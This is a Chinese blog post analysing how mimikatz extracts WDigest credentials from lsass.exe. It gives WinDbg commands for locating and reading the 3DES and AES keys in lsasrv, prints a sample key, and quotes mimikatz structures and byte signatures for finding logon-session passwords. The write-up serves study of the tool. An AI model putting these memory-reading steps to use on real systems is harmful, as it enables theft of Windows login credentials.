mimikatz wdigest功能分析与调试
前言
lsass.exe 不能直接使用进程附加调试,所以要先进入内核态,再切换到用户态进行调试。
实验步骤
1、进入内核态
2、!process 0 0 lsass.exe 查找lsass进程的地址
3、.process /i /r /p fffffa8005671b00 切换到lsass进程
4、lm 查看查看模块及模块的符号加载情况,是否有wdigest,lsasrv。(没有可以使用.reload /user 重新加载)
5、lssrv!h3DesKey可以找到key的地址
6、mimikatz中找到key的结构为
```
win7
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag;// 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY81 key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
typedef struct _KIWI_BCRYPT_KEY {
ULONG size;
ULONG tag;// 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG bits;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[60]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
```
7、根据数据结构可以构造
db poi(poi(lsasrv!h3DesKey)+0x10)+0x18,找到3des加密的key
由图知,长度为0x18,key为43 e5 c3 f8-20 44 26 31 e8 ae de 67 b3 96 a5 98 ac b1 5c 68-3c 15 87 8f
同理,AES key
db poi(poi(lsasrv!hAesKey)+0x10)+0x18
用户信息存储在l_LogSessList指针。
mimikatz结构
typedef struct _KIWI_MSV1_0_LIST_52 {
struct _KIWI_MSV1_0_LIST_52 *Flink;
struct _KIWI_MSV1_0_LIST_52 *Blink;
LUID LocallyUniqueIdentifier;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING Domaine;
PVOID unk0;
PVOID unk1;
PSID pSid;
ULONG LogonType;
ULONG Session;
LARGE_INTEGER LogonTime; // autoalign x86
LSA_UNICODE_STRING LogonServer;
PKIWI_MSV1_0_CREDENTIALS Credentials;
ULONG unk19;
PVOID unk20;
PVOID unk21;
ULONG unk22;
PVOID CredentialManager;
} KIWI_MSV1_0_LIST_52, *PKIWI_MSV1_0_LIST_52;
可以得出
用户名:0x30
机器名:0x40
密码:0x50
源码分析
加密的密码提供的缓冲区的长度可以被 8 整除,则使用 AES。如果失败,则使用 3Des。
上面已经从调试的角度获取到内存中的key和密码。下面分析mimikatz怎么获取到3deskey,aeskey,加密的密码的位置。
由于mimikatz是通过签名获取到地址的,关注以下这两个变量。
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[]= {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0x0d};
BYTE PTRN_WIN6_PasswdSet[] = { 0x48, 0x3b, 0xd9, 0x74 };
PTRN_WIN6_PasswdSet的位置正好在l_LogSessList下方,l_LogSessList是存储加密密码的链表。
PTRN_WNO8_LsaInitializeProtectedMemory_KEY位置的上方是3deskey,下方是aeskey,对应的偏移即可得到地址。
后面这样解密即可。
参考
Exploring Mimikatz - Part 1 - WDigest-https://blog.xpnsec.com/exploring-mimikatz-part-1/
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论